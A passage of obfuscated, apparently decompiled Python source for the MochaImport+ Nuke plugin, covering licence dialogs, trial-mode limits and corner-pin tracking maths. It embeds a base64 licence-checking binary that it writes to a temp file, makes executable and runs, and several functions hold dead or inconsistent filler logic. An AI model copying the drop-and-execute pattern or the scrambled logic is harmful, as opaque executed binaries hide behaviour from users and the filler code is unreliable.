MSUJDXzIuMi41AF9aTlN0MTRiYXNpY19vZnN0cmVhbUljU3QxMWNoYXJfdHJhaXRzSWNFRUQxRXZAQEdMSUJDWFhfMy40AF9aTlN0MThiYXNpY19zdHJpbmdzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRVNhSWNFRUMxRVN0MTNfSW9zX09wZW5tb2RlQEBHTElCQ1hYXzMuNABfWk5Tb2xzRWpAQEdMSUJDWFhfMy40AF9aTjlhZXNjcmlwdHMxOWxvYWRMaWNlbnNlRnJvbUZpbGVFUEtjUkExMjhfYwBfWk5TdDE0YmFzaWNfb2ZzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRUU1Y2xvc2VFdkBAR0xJQkNYWF8zLjQAc29ja2V0QEBHTElCQ18yLjIuNQBfWk5LU3Q0ZnBvc0kxMV9fbWJzdGF0ZV90RWN2bEV2AF9aMTNyZXZlcnNlU3RyaW5nU3MAX19ic3Nfc3RhcnQAX1pTdGxzSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUVSU3QxM2Jhc2ljX29zdHJlYW1JVF9UMF9FUzdfUktTYklTNF9TNV9UMV9FQEBHTElCQ1hYXzMuNABzdHJjbXBAQEdMSUJDXzIuMi41AF9aTlNhSWNFRDFFdkBAR0xJQkNYWF8zLjQAc3RyY3B5QEBHTElCQ18yLjIuNQBfWk5TczVlcmFzZUVtbUBAR0xJQkNYWF8zLjQAZ2V0dWlkQEBHTElCQ18yLjIuNQBfWmRhUHZAQEdMSUJDWFhfMy40AHB0aHJlYWRfY2FuY2VsAF9aTlNzNmFwcGVuZEVQS2NAQEdMSUJDWFhfMy40AF9aTlN0MTRiYXNpY19vZnN0cmVhbUljU3QxMWNoYXJfdHJhaXRzSWNFRTdpc19vcGVuRXZAQEdMSUJDWFhfMy40AF9aTlN0MTRiYXNpY19pZnN0cmVhbUljU3QxMWNoYXJfdHJhaXRzSWNFRUMxRVBLY1N0MTNfSW9zX09wZW5tb2RlQEBHTElCQ1hYXzMuNABfZW5kAF9aTlNvbHNFUEZSU29TX0VAQEdMSUJDWFhfMy40AF9aU3Q0c2V0d2kAX1pOU3QxNGJhc2ljX29mc3RyZWFtSWNTdDExY2hhcl90cmFpdHNJY0VFQzFFUEtjU3QxM19Jb3NfT3Blbm1vZGVAQEdMSUJDWFhfMy40AF9fY3hhX2VuZF9jYXRjaEBAQ1hYQUJJXzEuMwBfWk5TaXJzRVJtQEBHTElCQ1hYXzMuNABfWlN0NGVuZGxJY1N0MTFjaGFyX3RyYWl0c0ljRUVSU3QxM2Jhc2ljX29zdHJlYW1JVF9UMF9FUzZfQEBHTElCQ1hYXzMuNABfX2N4YV9iZWdpbl9jYXRjaEBAQ1hYQUJJXzEuMwBfWk5TdDE4YmFzaWNfc3RyaW5nc3RyZWFtSWNTdDExY2hhcl90cmFpdHNJY0VTYUljRUVEMUV2QEBHTElCQ1hYXzMuNABfWk5TczlwdXNoX2JhY2tFY0BAR0xJQkNYWF8zLjQAX2VkYXRhAF9aTlNhSWNFQzFFdkBAR0xJQkNYWF8zLjQAX19neHhfcGVyc29uYWxpdHlfdjBAQENYWEFCSV8xLjMAX1pOS1N0MThiYXNpY19zdHJpbmdzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRVNhSWNFRTNzdHJFdkBAR0xJQkNYWF8zLjQAX1pTdGFuU3QxM19Jb3NfRm10ZmxhZ3NTXwBfVW53aW5kX1Jlc3VtZUBAR0NDXzMuMABfWk5Tc2FTRVJLU3NAQEdMSUJDWFhfMy40AF9aTlNvbHNFUEZSU3Q4aW9zX2Jhc2VTMF9FQEBHTElCQ1hYXzMuNABfWk5TczZhcHBlbmRFUktTc0BAR0xJQkNYWF8zLjQAX1pOOWFlc2NyaXB0czE1dmFsaWRhdGVMaWNlbnNlRVBjaVJOU18xMUxpY2Vuc2VEYXRhRQBfWk5LU3M0ZmluZEVQS2NtQEBHTElCQ1hYXzMuNABfWlN0bHNJY1N0MTFjaGFyX3RyYWl0c0ljRUVSU3QxM2Jhc2ljX29zdHJlYW1JVF9UMF9FUzZfU3Q1X1NldHdAQEdMSUJDWFhfMy40AF9aU3Rsc0ljU3QxMWNoYXJfdHJhaXRzSWNFRVJTdDEzYmFzaWNfb3N0cmVhbUlUX1QwX0VTNl9TdDhfU2V0ZmlsbElTM19FQEBHTElCQ1hYXzMuNABfWk5TdDE0YmFzaWNfaWZzdHJlYW1JY1N0MTFjaGFyX3RyYWl0c0ljRUU3aXNfb3BlbkV2QEBHTElCQ1hYXzMuNABta2RpckBAR0xJQkNfMi4yLjUAbWFpbgBfaW5pdAA=') return R raise Exception('unsupported operating system') def __isMacOs(a): return bw() == 'Darwin' def __isWindows(a): return bw() == 'Windows' def __a(a): eV = bw() == 'Linux' and eW()[0] == '32bit' return eV def __isLinux64(a): eX = bw() == 'Linux' and eW()[0] == '64bit' return eX class at(object): """a commandline tool represented as a binary string. Can be copied to a temp file and executed""" def __init__(a, eY): a.binString = eY.decode('base64') a.filePath = None return def execute(a, dk): a.__createFile() if not a.filePath: return dk.insert(0, a.filePath) eZ = Popen(dk, stdout=fa, stderr=fa) s = eZ.communicate() a.__deleteFile() return s def __createFile(a): fb, filePath = hg(suffix='', prefix='tmp', dir=None, text=False) file = al.fdopen(fb, 'wb') file.write(a.binString) file.close() al.chmod(filePath, dl.S_IRUSR | dl.S_IWUSR | dl.S_IXUSR) a.filePath = filePath return def __deleteFile(a): if a.filePath: al.remove(a.filePath) a.filePath = None return import nuke as b import nukescripts import os as al import MiImageFolder as hi import webbrowser as fm # from PySide import QtGui as l from Qt import QtWidgets as l def dm(): return dn().exec_() class dn(l.QDialog): def __init__(a): super(dn, a).__init__() a.eulaText = 'END USER LICENSE AGREEMENT \n \nThis software ("the Software Product") and accompanying documentation is licensed and not sold. This Software Product is protected by copyright laws and treaties, as well as laws and treaties related to other forms of intellectual property. The author owns intellectual property rights in the Software Product. The Licensee\'s ("you" or "your") license to download, use, copy, or change the Software Product is subject to these rights and to all the terms and conditions of this End User License Agreement ("Agreement").\n\nAcceptance \nYOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS AGREEMENT BY SELECTING THE "ACCEPT" OPTION AND DOWNLOADING THE SOFTWARE PRODUCT OR BY INSTALLING, USING, OR COPYING THE SOFTWARE PRODUCT. YOU MUST AGREE TO ALL OF THE TERMS OF THIS AGREEMENT BEFORE YOU WILL BE ALLOWED TO DOWNLOAD THE SOFTWARE PRODUCT. IF YOU DO NOT AGREE TO ALL OF THE TERMS OF THIS AGREEMENT, YOU MUST SELECT "DECLINE" AND YOU MUST NOT INSTALL, USE, OR COPY THE SOFTWARE PRODUCT.\n\nLicense Grant \nThis Agreement entitles you to install and use one copy of the Software Product. In addition, you may make one archival copy of the Software Product. The archival copy must be on a storage medium other than a hard drive, and may only be used for the reinstallation of the Software Product. This Agreement does not permit the installation or use of multiple copies of the Software Product, or the installation of the Software Product on more than one computer at any given time, on a system that allows shared used of applications, on a multi-user network, or on any configuration or system of computers that allows multiple users. Multiple copy use or installation is only allowed if you obtain an appropriate licensing agreement for each user and each copy of the Software Product.\n\nRestrictions on Transfer \nWithout first obtaining the express written consent of the author, you may not assign your rights and obligations under this Agreement, or redistribute, encumber, sell, rent, lease, sublicense, or otherwise transfer your rights to the Software Product.\n\nRestrictions on Use \nYou may not use, copy, or install the Software Product on any system with more than one computer, or permit the use, copying, or installation of the Software Product by more than one user or on more than one computer. If you hold multiple, validly licensed copies, you may not use, copy, or install the Software Product on any system with more than the number of computers permitted by license, or permit the use, copying, or installation by more users, or on more computers than the number permitted by license.\n\nYou may not decompile, "reverse-engineer", disassemble, or otherwise attempt to derive the source code for the Software Product.\n\nRestrictions on Alteration \nYou may not modify the Software Product or create any derivative work of the Software Product or its accompanying documentation. Derivative works include but are not limited to translations. You may not alter any files or libraries in any portion of the Software Product.\n\nRestrictions on Copying \nYou may not copy any part of the Software Product except to the extent that licensed use inherently demands the creation of a temporary copy stored in computer memory and not permanently affixed on storage medium. You may make one archival copy which must be stored on a medium other than a computer hard drive.\n\nDisclaimer of Warranties and Limitation of Liability \nUNLESS OTHERWISE EXPLICITLY AGREED TO IN WRITING BY THE AUTHOR, THE AUTHOR MAKES NO OTHER WARRANTIES, EXPRESS OR IMPLIED, IN FACT OR IN LAW, INCLUDING, BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OTHER THAN AS SET FORTH IN THIS AGREEMENT OR IN THE LIMITED WARRANTY DOCUMENTS PROVIDED WITH THE SOFTWARE PRODUCT.\n\nThe author makes no warranty that the Software Product will meet your requirements or operate under your specific conditions of use. The author makes no warranty that operation of the Software Product will be secure, error free, or free from interruption. YOU MUST DETERMINE WHETHER THE SOFTWARE PRODUCT SUFFICIENTLY MEETS YOUR REQUIREMENTS FOR SECURITY AND UNINTERRUPTABILITY. YOU BEAR SOLE RESPONSIBILITY AND ALL LIABILITY FOR ANY LOSS INCURRED DUE TO FAILURE OF THE SOFTWARE PRODUCT TO MEET YOUR REQUIREMENTS. THE AUTHOR WILL NOT, UNDER ANY CIRCUMSTANCES, BE RESPONSIBLE OR LIABLE FOR THE LOSS OF DATA ON ANY COMPUTER OR INFORMATION \nSTORAGE DEVICE.\n\nUNDER NO CIRCUMSTANCES SHALL THE AUTHOR, ITS DIRECTORS, OFFICERS, EMPLOYEES OR AGENTS BE LIABLE TO YOU OR ANY OTHER PARTY FOR INDIRECT, CONSEQUENTIAL, SPECIAL, INCIDENTAL, PUNITIVE, OR EXEMPLARY DAMAGES OF ANY KIND INCLUDING LOST REVENUES OR PROFITS OR LOSS OF BUSINESS) RESULTING FROM THIS AGREEMENT, OR FROM THE FURNISHING, PERFORMANCE, INSTALLATION, OR USE OF THE SOFTWARE PRODUCT, WHETHER DUE TO A BREACH OF CONTRACT, BREACH OF WARRANTY, OR THE NEGLIGENCE OF THE AUTHOR OR ANY OTHER PARTY, EVEN IF THE AUTHOR IS ADVISED BEFOREHAND OF THE POSSIBILITY OF SUCH DAMAGES. TO THE EXTENT THAT THE APPLICABLE JURISDICTION LIMITS THE AUTHOR\'S ABILITY TO DISCLAIM ANY IMPLIED WARRANTIES, THIS DISCLAIMER SHALL BE EFFECTIVE TO THE MAXIMUM EXTENT PERMITTED.\n\nLimitation of Remedies and Damages \nAny claim must be made within the applicable warranty period. All warranties cover only defects arising under normal use and do not include malfunctions or failure resulting from misuse, abuse, neglect, alteration, problems with electrical power, acts of nature, unusual temperatures or humidity, improper installation, or damage determined by the author to have been caused by you. All limited warranties on the Software Product are granted only to you and are non-transferable. You agree to indemnify and hold the author harmless from all claims, judgments, liabilities, expenses, or costs arising from your breach of this Agreement and/or acts or omissions.\n\nGoverning Law, Jurisdiction and Costs \nThis Agreement is governed by the laws of Washington, without regard to Washington\'s conflict or choice of law provisions.\n\nSeverability \nIf any provision of this Agreement shall be held to be invalid or unenforceable, the remainder of this Agreement shall remain in full force and effect. To the extent any express or implied restrictions are not permitted by applicable laws, these express or implied restrictions shall remain in force and effect to the maximum extent permitted by such applicable laws.' a.initUI() def initUI(a): aL = l.QHBoxLayout() licenseInfoText = l.QTextEdit(a.eulaText, a) licenseInfoText.setReadOnly(True) aL.addWidget(licenseInfoText) do = l.QHBoxLayout() am = l.QLabel( "If you agree to the above terms press 'I Accept'. Otherwise press 'Cancel' to cancel installation of the license.") do.addWidget(am) ci = l.QHBoxLayout() cj = l.QPushButton('I Accept', a) cj.setAutoDefault(False) ck = l.QPushButton('Cancel', a) ck.setAutoDefault(False) ci.addWidget(cj) ci.addWidget(ck) F = l.QVBoxLayout() F.addLayout(aL) F.addLayout(do) F.addStretch(1) F.addLayout(ci) cj.clicked.connect(a.accept) ck.clicked.connect(a.reject) a.setLayout(F) a.setWindowTitle('End User License Agreement (EULA)') # from PySide import QtGui as l, QtCore from Qt import QtWidgets as l, QtCore from Qt import QtGui as qui class dp(object): def __init__(a, wwqe, toolVersion, qqewrtz, qqrrtet): a.wwqe = wwqe a.toolVersion = toolVersion a.wehsrhv = eR(qqewrtz, qqrrtet) def asgg(a, quiet, wegtzeke): if quiet: return a.wehsrhv.fggtzh() if a.wehsrhv.fggtzh(): return True while True: aa = fc(a.wwqe) if not aa: fd(a.wwqe, wegtzeke) return False if a.wehsrhv.zzdfger(aa): dq(aa, a.wwqe) else: a.wehsrhv.ddsjz(aa) h = a.wehsrhv.ertzz() if h['status'] == 'valid': if h['license type'] == 'BTA': b.message('You entered a beta tester license. Beta licenses are not working with this version.') a.wehsrhv.sddfg() h = a.wehsrhv.ertzz() else: if dm(): au(True, a.wwqe) return True a.wehsrhv.sddfg() else: au(False, a.wwqe) def abag(a): fe = dr(a.wwqe, a.toolVersion, a.wehsrhv) fe.exec_() def fc(wwqe): return b.getInput( 'No license installed for ' + wwqe + "\nEnter a valid serial number or click 'cancel' run in trial mode") def fd(wwqe, wegtzeke): b.message(wwqe + 'running in trial mode.\n' + wegtzeke) def hh(aM): if aM: s = au(aM) ff = False return s ff = True return au(aM) def au(aM, wwqe): fg = fh(aM) if fg: b.message('Thank you for purchasing ' + wwqe) return True else: b.message('License is invalid.') return False def fh(ds): cl = None if ds: cl = 'License is invalid.' return True else: if cl == 143241: cl = 'No license installed for ' + wwqe + "\nEnter a valid serial number or click 'cancel' run in trial mode" return ds class dr(l.QDialog): def __init__(a, wwqe, toolVersion, fi): super(dr, a).__init__() a.wwqe = wwqe a.toolVersion = toolVersion a.wehsrhv = fi a.copyRightInfo = '(c) 2014 by mamoworld.com' a.initUI() def initUI(a): h = a.wehsrhv.ertzz() dt = l.QHBoxLayout() fj = hi.getFolder() + 'about.png' fk = qui.QPixmap(fj) du = l.QLabel('No image available') du.setPixmap(fk) dt.addWidget(du) aL = l.QHBoxLayout() a.licenseInfoText = l.QTextEdit(a.wwqe, a) a.licenseInfoText.setReadOnly(True) aL.addWidget(a.licenseInfoText) dv = l.QHBoxLayout() a.tutorialButton = l.QPushButton('Watch In Depth Tutorial', a) dv.addWidget(a.tutorialButton) cm = l.QHBoxLayout() a.rg3erw = l.QPushButton('Enter License Code', a) a.dsfewrt = l.QPushButton('Remove License Code', a) cm.addWidget(a.rg3erw) cm.addWidget(a.dsfewrt) a.hgjafd(h) bx = l.QHBoxLayout() cn = l.QPushButton('OK', a) cn.setDefault(True) bx.addStretch(0.5) bx.addWidget(cn) bx.addStretch(0.5) F = l.QVBoxLayout() F.addLayout(dt) F.addLayout(aL) F.addLayout(dv) F.addLayout(cm) F.addStretch(1) F.addLayout(bx) cn.clicked.connect(a.accept) a.rg3erw.clicked.connect(a.rjrkkt) a.dsfewrt.clicked.connect(a.ashfrtz) a.tutorialButton.clicked.connect(a.openTutorial) a.setGeometry(300, 300, 250, 150) a.setLayout(F) a.setWindowTitle(a.wwqe + ' Licenses') def hgjafd(a, h): a.licenseInfoText.setText(a.ghjkh(h)) if h['status'] == 'valid': a.rg3erw.setEnabled(False) a.dsfewrt.setEnabled(True) else: a.rg3erw.setEnabled(True) a.dsfewrt.setEnabled(False) def ghjkh(a, h): am = a.wwqe + ' v' + a.toolVersion + '\n' + a.copyRightInfo + '\n\n' if h['status'] == 'valid': am += 'registered to ' + h['first name'] + ' ' + h['last name'] + '\n' am += fl(h['license type']) + ' for ' + h['number of user licenses'] + ' user(s)' else: am += 'no license installed\n' am += 'running in trial mode' return am def rjrkkt(a): aa = b.getInput( 'No license installed for ' + a.wwqe + "\nEnter a valid serial number or click 'cancel' run in trial mode") if not aa: return if a.wehsrhv.zzdfger(aa): dq(aa, a.wwqe) else: a.wehsrhv.ddsjz(aa) h = a.wehsrhv.ertzz() if h['status'] == 'valid': if h['license type'] == 'BTA': b.message('You entered a beta tester license. Beta licenses are not working with this version.') a.wehsrhv.sddfg() h = a.wehsrhv.ertzz() elif dm(): au(True, a.wwqe) else: a.wehsrhv.sddfg() h = a.wehsrhv.ertzz() else: au(False, a.wwqe) a.hgjafd(h) def ashfrtz(a): a.wehsrhv.sddfg() h = a.wehsrhv.ertzz() a.hgjafd(h) def openTutorial(a): fm.open('http://mamoworld.com/tutorial-mochaimport') def fl(by): if by == 'SUL': return 'single user license' if by == 'BTA': return 'beta testing license' if by == 'EDU': return 'education license' if by == 'REN': return 'render only license' return 'unknown license' def dq(fn, wwqe): dw = 'https://license.aescripts.com/exchange/?serial=' + fn fo = 'You entered a temporary serial number that needs to be exchanged for a permanent license.\n\nOnce you obtain your permanent license you can use it to register ' + wwqe + '. It is quick and easy to exchange it, simply go to:\n\n' + dw + '\n\nWould you like to go there now?' if b.ask(fo): fm.open(dw) def dz(): return dp('MochaImport+', '1.102', 'mochaimportnuke', '743985') class fp(object): """abstract base class for corner pin data""" def getPointValues(a, Y, x): """for pointIndex in 0,1,2,3 and coordinate in 'x', 'y' returns a list of (frame,value) tuples""" raise NotImplementedError('getPoint not implemented') class cornerPinData___FileFormatError(Exception): """Invalid File Format Error""" def __init__(a, message): a.message = message def __str__(a): return repr(a.message) class fq(fp): def __init__(a): a.points = [{'x': [], 'y': []}, {'x': [], 'y': []}, {'x': [], 'y': []}, {'x': [], 'y': []}] def __str__(a): fr = pprint.PrettyPrinter(indent=4) return fr.pprint(a.points) def getPointValues(a, Y, x): assert x in ('x', 'y') assert Y in (0, 1, 2, 3) return a.points[Y][x] class bz(fq): def __init__(a, fs): super(bz, a).__init__() a.wegtzeke = 'In trial mode only the first 20 frames of tracking data are imported.' a.__parseMochaNukeData(fs) def __parseMochaNukeData(a, j): def dA(ft): bA = [] fu = ft.split() dB = 1 bB = 1 for co in fu: if co[0] == 'x': bB = float(co[1:]) if len(bA) > 0: fv = bA[-1][0] dB = bB - fv else: value = float(co) S = bB bA.append((S, value)) bB += dB return bA def bC(fw, j): fx = re.compile(fw + '\\s*{\\s*{\\s*curve\\s*([^}]*)}\\s*{\\s*curve\\s*([^}]*)}\\s*}') cp = fx.search(j) if cp == None: raise cornerPinData___FileFormatError( "invalid tracking data - please use corner pin data exported from mocha Pro with the format set to 'Nuke Corner Pin (*.nk)'") fy = cp.group(1) fz = cp.group(2) fA = {'x': dA(fy), 'y': dA(fz)} return fA a.points[0] = bC('to1', j) a.points[1] = bC('to2', j) a.points[2] = bC('to3', j) a.points[3] = bC('to4', j) a.__checkDemoLimitation() def __checkDemoLimitation(a): cq = dz() if not cq.asgg(quiet=False, wegtzeke=a.wegtzeke): a.__applyDemoLimitation() def __applyDemoLimitation(a): fB = 15 dC = fB + 5 for bD in a.points: bD['x'] = bD['x'][:dC] bD['y'] = bD['y'][:dC] class an(bz): def __init__(a, filename): dD = open(filename, mode='r') j = dD.read() dD.close() super(an, a).__init__(j) class ao(bz): def __init__(a): j = l.QApplication.clipboard().text() super(ao, a).__init__(j) def cornerPinNode___loadTrackingDataFromFile(): try: filename = b.getFilename('Load NUKE corner pin data from mocha', '*.nk') if filename == None: return d = an(filename) dE(d) except IOError as f: b.message('Could not read file {0}:\n\nI/O error({1}): {2}'.format(filename, f.errno, f.strerror)) except cornerPinData___FileFormatError as f: b.message('Could not read file {0}:\n\nInvalid File Format: {1}'.format(filename, f.message)) return def cornerPinNode___loadTrackinDataFromClipboard(): try: d = ao() dE(d) except cornerPinData___FileFormatError as f: b.message('Clipboard does not contain valid tracking data:\n{0}'.format(f.message)) def dE(d): bE = b.thisNode() dg(d, bE['pin1'], bE['pin2'], bE['pin3'], bE['pin4']) def fC(aN, aO, aP, aQ, aR, aS, aT, aU, aV, aW, aX, aY, aZ, ba, bb, bc): aN = float(aN) aR = float(aR) aV = float(aV) aZ = float(aZ) aP = float(aP) aT = float(aT) aX = float(aX) bb = float(bb) aO = float(aO) aS = float(aS) aW = float(aW) ba = float(ba) aQ = float(aQ) aU = float(aU) aY = float(aY) bc = float(bc) I = fD(aN, aO, aP, aQ, aR, aS, aT, aU, aV, aW, aX, aY, aZ, ba, bb, bc) for c in range(0, 9): I[c] = I[c] / I[8] fE = [ I[0], I[1], 0, I[2], I[3], I[4], 0, I[5], 0, 0, 1, 0, I[6], I[7], 0, I[8]] return fE def hj(v): s = str(v[0]) + ' ' + str(v[1]) + ' ' + str(v[2]) + ' ' + str(v[3]) + '\n' + str(v[4]) + ' ' + str( v[5]) + ' ' + str(v[6]) + ' ' + str(v[7]) + '\n' + str(v[8]) + ' ' + str(v[9]) + ' ' + str(v[10]) + ' ' + str( v[11]) + '\n' + str(v[12]) + ' ' + str(v[13]) + ' ' + str(v[14]) + ' ' + str(v[15]) return s def dF(z, T): G = [0] * 9 for c in range(0, 3): for av in range(0, 3): dG = 0 for cr in range(0, 3): dG += z[3 * c + cr] * T[3 * cr + av] G[3 * c + av] = dG return G def fF(e, A): s = [e[0] * A[0] + e[1] * A[1] + e[2] * A[2], e[3] * A[0] + e[4] * A[1] + e[5] * A[2], e[6] * A[0] + e[7] * A[1] + e[8] * A[2]] return s def dH(e): s = [e[4] * e[8] - e[5] * e[7], e[2] * e[7] - e[1] * e[8], e[1] * e[5] - e[2] * e[4], e[5] * e[6] - e[3] * e[8], e[0] * e[8] - e[2] * e[6], e[2] * e[3] - e[0] * e[5], e[3] * e[7] - e[4] * e[6], e[1] * e[6] - e[0] * e[7], e[0] * e[4] - e[1] * e[3]] return s def dI(t, J, K, L, M, N, V, W): e = [t, K, M, J, L, N, 1, 1, 1] A = fF(dH(e), [V, W, 1]) s = dF(e, [A[0], 0, 0, 0, A[1], 0, 0, 0, A[2]]) return s def fD(aN, aO, aP, aQ, aR, aS, aT, aU, aV, aW, aX, aY, aZ, ba, bb, bc): bF = dI(aN, aO, aR, aS, aV, aW, aZ, ba) p = dI(aP, aQ, aT, aU, aX, aY, bb, bc) return dF(p, dH(bF)) import nuke as b class fG(object): """represents keyframes for a 4x4 transform matrix""" def __init__(a): a.data = [] def deleteKey(a, B): a.data = filter(lambda (cs, A): cs != B, a.data) def setKey(a, (B, value)): assert len(value) == 16 a.deleteKey(B) a.data.append((B, value)) def applyToCurvesLayer(a, bd): dJ = bd.getTransform() ab = a._getDataAsTuples() for c in range(0, 4): for av in range(0, 4): ct = dJ.getExtraMatrixAnimCurve(c, av) ct.removeAllKeys() for B, value in ab[4 * c + av]: ct.addKey(B, value) dJ.setExtraMatrixAnimCurve(c, av, ct) def applyToArrayKnob(a, knob): ab = a._getDataAsAnimations() knob.setAnimated() for c in range(0, 16): knob.animation(c).clear() knob.animation(c).addKey(ab[c]) def _getDataAsAnimations(a): ab = [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []] for B, value in a.data: for c in range(0, 16): fH = b.AnimationKey(B, value[c]) ab[c].append(fH) return ab def _getDataAsTuples(a): ab = [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []] for B, value in a.data: for c in range(0, 16): cs = ( B, value[c]) ab[c].append(cs) return ab def cu(d, referenceFrame): t = d.getPointValues(0, 'x') J = d.getPointValues(0, 'y') K = d.getPointValues(1, 'x') L = d.getPointValues(1, 'y') M = d.getPointValues(2, 'x') N = d.getPointValues(2, 'y') V = d.getPointValues(3, 'x') W = d.getPointValues(3, 'y') af = fI(t, referenceFrame) dK = fG() if len(set([len(t), len(K), len(M), len(V), len(J), len(L), len(N), len(W)])) > 1: raise Exception('all corners must have the same amount of keyframes') for c in range(0, len(t)): S = t[c][0] if len(set([t[c][0], K[c][0], M[c][0], V[c][0], J[c][0], L[c][0], N[c][0], W[c][0]])) > 1: raise Exception('times for keyframes of all four corners must be identical') m = fC(t[af][1], J[af][1], t[c][1], J[c][1], K[af][1], L[af][1], K[c][1], L[c][1], M[af][1], N[af][1], M[c][1], N[c][1], V[af][1], W[af][1], V[c][1], W[c][1]) dK.setKey((S, m)) return dK def fI(dL, dM): for c in range(0, len(dL)): if dL[c][0] == dM: return c raise Exception("tracking data doesn't contain tracking data for frame " + str( dM) + '.\nPlease choose another reference frame.') import nuke as b def fJ(dN, toNode): """ children of fromNode become children of toNode""" for node in dN.dependent(b.INPUTS): for c in range(0, node.inputs()): if node.input(c) == dN: node.setInput(c, toNode) def fK(dO): """run automatic layout on entire node graph of the group""" dO.begin() fL() dO.end() def fL(): """run automatic layout on all nodes""" for n in b.allNodes(): n.autoplace() import nuke as b def stabilizedPrecompNode___connectPrecompNodes(y, w): ag = y.knob('name').value() w['pin1'].setExpression(ag + '.pin1.x', 0) w['pin1'].setExpression(ag + '.pin1.y', 1) w['pin2'].setExpression(ag + '.pin2.x', 0) w['pin2'].setExpression(ag + '.pin2.y', 1) w['pin3'].setExpression(ag + '.pin3.x', 0) w['pin3'].setExpression(ag + '.pin3.y', 1) w['pin4'].setExpression(ag + '.pin4.x', 0) w['pin4'].setExpression(ag + '.pin4.y', 1) import nuke as b import nuke as b def be(O, fM, fN): O.addKnob(b.Tab_Knob('mochaImport', 'MochaImport+')) bG = b.Text_Knob('loadMochaData', 'load mocha tracking data') bG.setFlag(b.STARTLINE) bG.setTooltip('load mocha Nuke corner pin (*.nk) data') bG.setValue('') O.addKnob(bG) fO = dP(fM) cv = b.PyScript_Knob('loadTrackingDataFromFile', 'from file') cv.setTooltip('import mocha corner pin data from a file\n\nrequired format: Nuke Corner Pin (*.nk)') cv.setCommand(fO) O.addKnob(cv) fP = dP(fN) cw = b.PyScript_Knob('loadTrackingDataFromClipboard', 'from clipboard') cw.setTooltip('import mocha corner pin data from the clipboard\n\nrequired format: Nuke Corner Pin (*.nk)') cw.setCommand(fP) O.addKnob(cw) def dP(dQ): assert '\n' not in dQ template = ' \nif not locals().has_key("mochaimport"):\n nuke.message("Please install MochaImport+ for NUKE (by mamoworld.com) to use this function")\nelse:\n {myCommand}\n' return template.format(myCommand=dQ) def fQ(): U = b.createNode('Tracker3') be(U, 'mochaimport.trackerNodeMI___loadTracker3TrackingDataFromFilePopup(nuke.thisNode())', 'mochaimport.trackerNodeMI___loadTracker3TrackingDataFromClipboard(nuke.thisNode())') U['enable1'].setValue('true') U['enable2'].setValue('true') U['enable3'].setValue('true') U['enable4'].setValue('true') U['label'].setValue('MochaImport+') return U def trackerNodeMI___loadTracker3TrackingDataFromFilePopup(U): try: k = b.getFilename('Load Nuke Corner Pin Data from mocha', '*.nk') if k == None: return j = an(k) cx(U, j) except IOError as f: b.message('Could not read file {0}:\n\nI/O error({1}): {2}'.format(k, f.errno, f.strerror)) except cornerPinData___FileFormatError as f: b.message('Could not read file {0}:\n\nInvalid File Format: {1}'.format(k, f.message)) return def trackerNodeMI___loadTracker3TrackingDataFromClipboard(U): try: j = ao() cx(U, j) except cornerPinData___FileFormatError as f: b.message('Clipboard does not contain valid tracking data:\n{0}'.format(f.message)) def cx(O, d): bH(O['track1'], d, 0) bH(O['track2'], d, 1) bH(O['track3'], d, 2) bH(O['track4'], d, 3) def bH(bf, d, Y): cy = Q(d.getPointValues(Y, 'x')) cz = Q(d.getPointValues(Y, 'y')) bf.setAnimated() bf.animation(0).clear() bf.animation(1).clear() bf.animation(0).addKey(cy) bf.animation(1).addKey(cz) def fR(): o = b.createNode('Tracker4') be(o, 'mochaimport.trackerNodeMI___loadTracker4TrackingDataFromFilePopup(nuke.thisNode())', 'mochaimport.trackerNodeMI___loadTracker4TrackingDataFromClipboard(nuke.thisNode())') for _a in range(0, 4): o['add_track'].execute() o['label'].setValue('MochaImport+') return o def fS(O): fT = fU(O) dR = 4 - fT if dR > 0: for _a in range(dR): O['add_track'].execute() def trackerNodeMI___loadTracker4TrackingDataFromFilePopup(o): try: k = b.getFilename('Load Nuke Corner Pin Data from mocha', '*.nk') if k == None: return j = an(k) cA(o, j) except IOError as f: b.message('Could not read file {0}:\n\nI/O error({1}): {2}'.format(k, f.errno, f.strerror)) except cornerPinData___FileFormatError as f: b.message('Could not read file {0}:\n\nInvalid File Format: {1}'.format(k, f.message)) return def trackerNodeMI___loadTracker4TrackingDataFromClipboard(o): try: j = ao() cA(o, j) except cornerPinData___FileFormatError as f: b.message('Clipboard does not contain valid tracking data:\n{0}'.format(f.message)) def cA(o, d): fS(o) bI = 2 bJ = 3 fV = 6 fW = 7 fX = 8 X = 31 fY(o) ap = o['tracks'] dS = b.ProgressTask('write tracking data') for c in [0, 1, 2, 3]: dS.setMessage('data for corner ' + str(c + 1)) ap.setAnimated(X * c + bI) ap.setAnimated(X * c + bJ) cy = d.getPointValues(c, 'x') cz = d.getPointValues(c, 'y') for B, cB in cy: ap.setValueAt(cB, B, X * c + bI) for B, cC in cz: ap.setValueAt(cC, B, X * c + bJ) ap.setValue(1, X * c + fV) ap.setValue(1, X * c + fW) ap.setValue(1, X * c + fX) dS.setProgress(c * 25) def fY(o): bI = 2 bJ = 3 X = 31 for c in [0, 1, 2, 3]: o['tracks'].clearAnimated(X * c + bI) o['tracks'].clearAnimated(X * c + bJ) def fZ(o): cr = o['tracks'] bF = o['tracks'].toScript().split(' \n} \n{ \n ') bF.pop(0) bg = str(bF)[2:].split('\\n') if bg: bg.pop(-1) if bg: bg.pop(-1) dT = [] for c in bg: dT.append(c.split('"')[1]) return dT def fU(o): s = len(fZ(o)) return s import nuke as b import pprint import nuke as b import math as H def ga(bK, bL, bM, bN, bO, bP): C = bK[0] D = bK[1] aw = bL[0] ax = bL[1] ay = bM[0] az = bM[1] bh = bN[0] bi = bN[1] dU = bO[0] dV = bO[1] dW = bP[0] dX = bP[1] dY = ((bh - dU) * (D - az) - (bh - dW) * (D - ax)) / ((C - aw) * (D - az) - (C - ay) * (D - ax)) dZ = ((bh - dU) * (C - ay) - (bh - dW) * (C - aw)) / ((D - ax) * (C - ay) - (D - az) * (C - aw)) gb = bh - dY * C - dZ * D ea = ((bi - dV) * (D - az) - (bi - dX) * (D - ax)) / ((C - aw) * (D - az) - (C - ay) * (D - ax)) eb = ((bi - dV) * (C - 